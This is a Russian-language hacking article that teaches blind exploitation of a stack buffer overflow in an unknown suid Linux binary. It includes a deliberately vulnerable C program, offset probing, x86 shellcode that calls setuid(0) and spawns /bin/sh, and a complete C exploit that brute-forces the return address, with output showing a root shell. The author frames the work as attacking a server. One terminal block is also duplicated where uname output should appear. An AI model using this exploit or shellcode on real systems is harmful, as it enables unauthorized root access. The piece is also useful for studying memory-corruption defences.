На данный момент существует очень много статей и учебников, освещающих принципы эксплуатации таких уязвимостей, как переполнение буфера, кучи, целочисленных переменных, а также атак формат-строки. В этой статье я не собираюсь заново рассказывать давно заученные истины, а хочу осветить такую тему, как использование уязвимостей в программе при отсутствии достаточного количества информации о ней.
8395 просмотров за 1 неделю
hr0nix [IndefiniteDecision]
На данный момент существует очень много статей и учебников, освещающих принципы эксплуатации таких уязвимостей, как переполнение буфера, кучи, целочисленных переменных, а также атак формат-строки. В этой статье я не собираюсь заново рассказывать давно заученные истины, а хочу осветить такую тему, как использование уязвимостей в программе при отсутствии достаточного количества информации о ней.
ВНИМАНИЕ!
Для того, чтобы понять и осмыслить весь нижеследующий материал, необходимы базовые знания Си, ассемблера, принципов работы таких структур, как стек (stack) и куча(heap), а также базовых принципов реализации системных атак. Для ознакомления с подобным материалом рекомендую прочитать Modern Kinds of System attacks (ищите на void.ru).
Итак, содержание:
2.1 Изучение стека.
2.2 Поиск адреса возврата.
2.3 Подготовка шеллкода.
1. Понятие «эксплуатации вслепую».
Как обычно мы препарируем программу? Откроем исходник любимым редактором, посмотрим, в чем же проблема, запомним размер буфера. Теперь возьмем в руки дебаггер, посчитаем адрес возврата. А дальше только offset осталось подобрать для нужной системы…
Теперь представим, что мы попали в жесткие условия. Скажем, у нас ограниченный шелл на удаленной системе. На ней есть непонятный suid-ный бинарник. Все, что мы знаем о нем – у бинарника летит сегментация, если первый аргумент чересчур длинный. Тут-то и пригодится умение использовать дыру в бинарнике, не зная о нем ровным счетом ничего.
Кстати, это вполне реальная ситуация, и взлом, совершенный подобным образом, можно считать профессиональным, а не очередным творчеством зеленого скрипт-киддиса.
2. Переполняем стек.
Для начала, давайте сделаем себе уязвимую программку, над которой мы, собственно, и будем проводить все наши злобные эксперименты. Сперва я хотел привести в качестве примера захаканый вусмерть /sbin/ifenslave, но, поскольку под рукой не оказалось mandrake linux, я решил написать подобную программку сам.
Итак, вот наше творение. Просто и коротко, как и все гениальное.
[root@id: ~/work/exploits/4development/src]# cat vuln.c #include <stdio.h> #define BUFSIZE 13 int main(int argc, char *argv[]) { char buf[BUFSIZE]; if (argc != 2) { fprintf(stderr,"Usage %s <garbage>\n",argv[0]); return(1); } strcpy(buf,argv[1]); printf("Buffer is %s\n",buf); return(0); } [root@id: ~/work/exploits/4development/src]# cat vuln.c #include <stdio.h> #define BUFSIZE 13 int main(int argc, char *argv[]) { char buf[BUFSIZE]; if (argc != 2) { fprintf(stderr,"Usage %s <garbage>\n",argv[0]); return(1); } strcpy(buf,argv[1]); printf("Buffer is %s\n",buf); return(0); }
Компилим:
[root@id: ~/work/exploits/4development/src]# gcc -o vuln vuln.c
Сделаем бинарник suid-ным (чтобы было, к чему стремиться. В нашем случае это рут-шелл):
[root@id: ~/work/exploits/4development/src]# chmod +s ./vuln [root@id: ~/work/exploits/4development/src]# ls -l vuln -rwsr-sr-x 1 root root 5157 Авг 15 17:16 vuln [root@id: ~/work/exploits/4development/src]#
Запускаем:
[root@id: ~/work/exploits/4development/src]# ./vuln Usage ./vuln <garbage> [root@id: ~/work/exploits/4development/src]# ./vuln 123 Buffer is 123 [root@id: ~/work/exploits/4development/src]#
Вроде работает. Чтобы не искушать себя просмотром исходников, сделаем так:
[root@id: ~/work/exploits/4development/src]# rm -f ./vuln.c [root@id: ~/work/exploits/4development/src]#
Теперь нам действительно придется работать вслепую (если Вы, конечно, не собираетесь подглядывать в начало статьи =).
Так, теперь представим, что мы связаны правами аккаунта по рукам и ногам. Кстати, не мешало бы проверить, действительно ли программа уязвима:
[root@id: ~/work/exploits/4development/src]# su nobody [nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x48'` Buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault [nobody@id: /root/work/exploits/4development/src]$
Все, с этого момента вообразим себя злобным хакером, атакующим сервер. Мы нашли suid-ный бинарник, в нем есть бага. К сожалению, на сервере отключен дамп памяти (core dumped), так что дополнительной инфы нам о программе не получить. Обидно, но что делать.
Давайте вспомним, что нам нужно знать для того, чтобы успешно эксплуатировать переполнение стека:
2.1 Изучаем стек.
Вообще-то, весь стек нам изучать совершенно необязательно. Достаточно лишь посчитать количество байт от начала буфера до адреса возврата. Нам нужно обнаружить ситуацию, когда размер вводимых данных N не дает SIGSEGV, а N+1 – дает. Это будет означать, что мы зацепили что-то важное (скорее всего, регистры).
Проще всего найти необходимый размер при помощи некоторого подобия бинарного поиска. Т.е. пробуем величину K. Если она не дает переполнения, пробуем некоторую величину K+B. Если новая величина приводит к нарушению функционирования программы, пробуем величину (K+K+B) / 2. И наоборот. Думаю, сами разберетесь.
При желании, этот процесс можно автоматизировать при помощи скрипта. Пусть это будет вам небольшим упражнением для разминки. Итак, вот результат:
[nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x25'` Buffer is AAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault [nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x15'` Buffer is AAAAAAAAAAAAAAA [nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x20'` Buffer is AAAAAAAAAAAAAAAAAAAA Segmentation fault [nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x19'` Buffer is AAAAAAAAAAAAAAAAAAA [nobody@id: /root/work/exploits/4development/src]$
Мы видим, что 20 букв «А» нарушают функционирование программы, а 19 – нет. Значит 20-я буква «A» уже попала куда-то в регистры. Тут и пригодится знание структуры стека атакуемой ОС (читайте исходники и доки). В моем случае (Debian Linux) подобная реакция программы означает, что адрес возврата нужно класть в 21-24 байты буфера. Итак, часть информации мы выяснили.
2.2 Поиск адреса возврата.
Существует несколько способов узнать адрес возврата. Первый (и самый простой) – воспользоваться отладчиком (если он, конечно, есть на уязвимой системе). Но мы не ищем легких путей.
Другой способ – положить шеллкод как переменную окружения. Программа в ОС Linux имеет следующую структуру стека:
0xbfffffff – верхушка
далее пять байт 0x0
имя запускаемого файла (“./vuln” в нашем случае)
а дальше набор переменных окружения программы.
Если наши права нам это позволяют, то это – лучший подход. К примеру, мы подготовим наш шеллкод в буфере EGG, который позже будет использоваться как переменная окружения (т.е буфер имеет вид «EGG=
И, наконец, самый трудоемкий (в плане того, что может занят много времени), но в тоже время самый результативный (ошибиться невозможно) метод – перебор адреса возврата. Этот метод можно реализовать как внешним скриптом, так и программой. Программно проще всего в отдельном потоке порождать запуск уязвимой программы с очередным ret-адресом, после чего проверять, как завершился поток. Если с SIGSEGV или SIGILL – значит мы промахнулись, если с 0 - все в порядке. Перебирать лучше от верхушки стека (0xbfffffff) вниз, мы ведь точно не знаем, где в стеке притаился наш шеллкод. Единственное, что может помешать этому методу – ограничение на число порожденных процессов.
Есть еще одна довольно большая проблема у первых двух – если на подопытной системе запрещено исполнение кода в стеке – ничего не выйдет.
Тогда есть еще один выход – если под рукой есть objdump, можно узнать адрес функции system() в программе и передать управление на нее. Тут и исполнимый стек не нужен, вот только objdump есть под рукой далеко не всегда…
2.3 Подготовка шеллкода.
Не менее важный этап, чем все остальные. Прежде всего, необходимо выбрать, где и как будет лежать наш шеллкод. Предположим, мы по каким-то причинам не хотим (или не можем) класть его в переменную окружения. Тогда, очевидно, остается только положить наш шеллкод в стек вместе с адресом возврата. Поскольку наш уязвимый буфер очень мал, положим шеллкод после ret-адреса, предварительно добавив к нему в начала сотню-другую nop-ов (чтобы легче было попасть).
Еще один немаловажный момент – выбор необходимого шеллкода. Для успешной эксплуатации нам обязательно нужно знать тип удаленной системы (в статье предполагается, что речь идет об *nix-системах), т.к. необходимые нам байтовые конструкции будут немного отличаться в разных ОС.
Самый простой способ узнать удаленную систему – выполнить команду uname:
[nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x25'` Buffer is AAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault [nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x15'` Buffer is AAAAAAAAAAAAAAA [nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x20'` Buffer is AAAAAAAAAAAAAAAAAAAA Segmentation fault [nobody@id: /root/work/exploits/4development/src]$ ./vuln `perl -e 'print "A"x19'` Buffer is AAAAAAAAAAAAAAAAAAA [nobody@id: /root/work/exploits/4development/src]$
Однако вместо столь обильной информации есть шанс получить лаконичное permission denied. В таком случае, если под рукой есть рут-аккаунт на каком-нибудь боксе, и подопытная машина доступна через сеть с этого бокса, то можно применить nmap-подобный сканнер для опроса сетевого стека удаленной системы:
[root@id: ~/work/exploits/4development/src]# nmap -sS -O 192.168.0.40 Starting nmap 3.55 ( http://www.insecure.org/nmap/ ) at 2004-08-17 07:47 UTC Interesting ports on 192.168.0.40: (The 1657 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 139/tcp open netbios-ssn Device type: general purpose Running: Linux 2.4.X|2.5.X OS details: Linux 2.4.0 - 2.5.20 Uptime 0.055 days (since Tue Aug 17 06:28:48 2004) Nmap run completed -- 1 IP address (1 host up) scanned in 7.319 seconds [root@id: ~/work/exploits/4development/src]#
Итак, мы видим: OS details: Linux 2.4.0 - 2.5.20, а значит нам нужен шеллкод для линукса.
Т.к. мы пытаемся получить рут-шелл через suid-ный бинарник, наш шеллкод должен делать seteuid(0) и exec(“/bin/sh”). Небольшой нюанс: если система запущена с измененным корнем, необходимо еще вызвать в нашем коде chroot(“/”).
Вот шеллкод, который удовлетворяет всем этим требованиям (кроме последнего, т.к. оно нас попросту не интересует):
char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh";
Итак, вся необходимая информация известна, можно приступать к заключительной части.
3. Собираем эксплойт воедино.
Итак, вот что у нас получилось:
RET-адрес нужно класть в байты буфера 21-24.
Адрес возврата лучше всего подобрать, начиная с верхушки стека.
Шеллкод – seteuid + exec для linux/x86
Сам шеллкод исходя из размеров буфера лучше положить после адреса возврата.
Вот конечный эксплойт (часть кода позаимствована у m00):
[nobody@id: /root/work/exploits/4development/src]$ cat vuln_expl.c #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/wait.h> #define RET 0xbfffffff #define NOP 0x90 #define BUFFSIZE 200 const char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; int main(int argc, char **argv) { int x = 0, status, i; signed int offset = 20; char buffer[BUFFSIZE]; long retaddr; pid_t pid; retaddr=RET-offset; printf("\n[+] hr0nix[ID] \"./vuln\" local root exploit\n\n"); while(x <= 0xffff) { printf("[~] Trying offset %d, addr 0x%x\n",offset, retaddr); if((pid=fork())==0) { // Это дочерний процесс memset(buffer,0,BUFFSIZE); // Очищаем буфер memset(buffer,'A',20); // Заполняем мусором первые 20 байт *(long *) &buffer[20] = retaddr; // Кладем ret-адрес for (i=0; i < BUFFSIZE - 24 - strlen(shellcode); i++) { buffer[i + 24] = NOP; //добавляем NOP'ов } for (i=0; i < strlen(shellcode); i++) { buffer[i + BUFFSIZE - strlen(shellcode)] = shellcode[i]; //посимвольно добавляем шеллкод } // запускаем уязвимую программу execl("./vuln","vuln",buffer,NULL); } // А родительский процесс ждет статус завершения своего потомка wait(&status); // Мы попали куда хотели? if(WIFEXITED(status) != 0 ) { printf("[+] Retaddr guessed: 0x%x\n[~] Exiting...\n", retaddr); exit(1); } else { // Увы, еще нет... retaddr-=offset; x+=offset; } } } [nobody@id: /root/work/exploits/4development/src]$
Компилируем на каком-нибудь боксе с такой-же ОСью (тут-то у нас компилера нету) и запускаем:
[nobody@id: /root/work/exploits/4development/src]$ ./vuln_expl [+] hr0nix[ID] "./vuln" local root exploit [~] Trying offset 20, addr 0xbfffffeb Buffer is … …PASSED… [~] Trying offset 20, addr 0xbffffe83 Buffer is … sh-2.05a# id uid=65534(nobody) gid=65534(nogroup) euid=0(root) egid=0(root) groups=65534(nogroup) sh-2.05a# exit exit [+] Retaddr guessed: 0xbffffe83 [~] Exiting... [nobody@id: /root/work/exploits/4development/src]$
Вот, в общем-то, и все о переполнениях буфера вслепую. Во второй части статьи я попробую рассказать о таких вещах, как переполнение кучи без достаточного количества информации о программе и об использовании уязвимостей формат-строки для изучения структуры стека уязвимой программы.
На этом все.
Greetz to #darkwired (mostly to dodo), IndefiniteDecision (sdx, t0ga), Axistown team (virusman, LazyRanma).
Спойлер: она начинается с подписки на наш канал